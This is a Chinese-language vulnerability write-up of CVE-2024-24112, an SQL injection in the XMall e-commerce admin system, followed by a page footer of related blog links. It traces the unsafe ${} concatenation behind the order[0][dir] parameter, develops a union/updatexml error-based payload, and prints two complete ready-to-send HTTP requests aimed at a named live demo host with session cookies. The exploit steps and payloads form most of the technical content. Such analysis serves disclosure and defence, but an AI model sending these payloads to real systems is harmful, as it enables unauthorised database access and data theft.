CVE-2024-24112 XMall后台管理系统 SQL 注入漏洞分析

------作者本科毕业设计项目 基于 Spring Boot + Vue 开发而成......

Affected Component

  • /item/list

  • /item/listSearch

  • /sys/log

  • /order/list

  • /member/list (need time-based blind injection)

  • /member/list/remove

项目下载地址

Exrick/xmall: 基于SOA架构的分布式电商购物商城 前后端分离 前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等 (github.com)https://github.com/Exrick/xmall/tree/master

漏洞点分析

Controller层-00 注意order[0][dir] orderDir的传参

跟入getItemSearchList 方法

跟入selectItemByMultiCondition方法

注意到335行 与 336行 用${} 的方法进行sql语句进行拼接

进一步利用分析

分析如何如何才能进一步利用

首先order[0][column] 要传递一个数字 用来取数组下标,而这个变量之后还拼接到了order by 第一个条件中(${orderCol}),

odderDir 要想进行sql注入必须得考虑前面有数字,

所以这样的好号 在后面直接加入if() 或者 updatexml 进行sql注入显然是不行的 ,我们还可以考虑下union select。

简单的进行下sql oder by 注入,结果都失败了。

不过由于后端没有屏蔽掉sql报错,在进行测试的时候我们发现了底层执行sql的逻辑

既然这样的话,那么我们就不用自己那软件在去测了,

select count(0) from (SELECT * FROM tb_item WHERE (title LIKE ? OR sell_point LIKE ? OR price LIKE ? OR id LIKE ?) ORDER BY id test)

研究上面的语句,如何进入sql注入。

其中test显然是我们可控的变量,要考虑union+select 首先的用")"闭合前面"(",闭合之后,我们就可以使用

union+select ,不过在这之间遇到了一点小情况,在我本地进行测试执行如下sql语句时

SELECT COUNT(0) FROM (SELECT * FROM blade_user)

sql无法执行

上网查一下解决方式 ,发现为子查询指定别名 a便可以解决报错问题

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a

这样的话select执行完整 ,我们可以进行联合注入了

有如下的payload进行测试

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias union select updatexml(1,concat(0x7e,user(),0x7e),1)

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a union select updatexml(1,concat(0x7e,user(),0x7e),1)

ok ,现在一切准备就绪,开始sql注入了

漏洞复现
复制代码
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)+AS+subquery_alias+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close
css 复制代码
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)a+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close
复制代码
相关推荐
LoneEon22 分钟前
Ubuntu 上搭建 Redis 3 节点集群(6 实例:3主3从)
数据库·redis·缓存
chxii26 分钟前
在 Spring Boot 中,MyBatis 的“自动提交”行为解析
java·数据库·mybatis
wind_one11 小时前
13.基础--SQL--DQL-聚合函数
数据库·sql
猿小喵1 小时前
浅谈MySQL的redo日志
数据库·mysql
陳陈陳2 小时前
AIGC 时代,用自然语言操作数据库:SQLite + LLM 的轻量级实践
前端·数据库·python
AI绘画小332 小时前
【网络安全】Wireshark 抓包过滤:源 / 目的 IP 过滤 + 命令大全
数据库·tcp/ip·测试工具·安全·web安全·wireshark
数据知道3 小时前
FastAPI项目:构建打字速度测试网站(MySQL版本)
数据库·python·mysql·fastapi·python项目
姓蔡小朋友3 小时前
redis GEO数据结构、实现附近商铺功能
数据结构·数据库·redis
冉冰学姐3 小时前
SSM农贸市场摊位管理系统c22ux(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·农贸市场·摊位管理系统
面向星辰3 小时前
SQL LIKE 相似信息查找语句
数据库·sql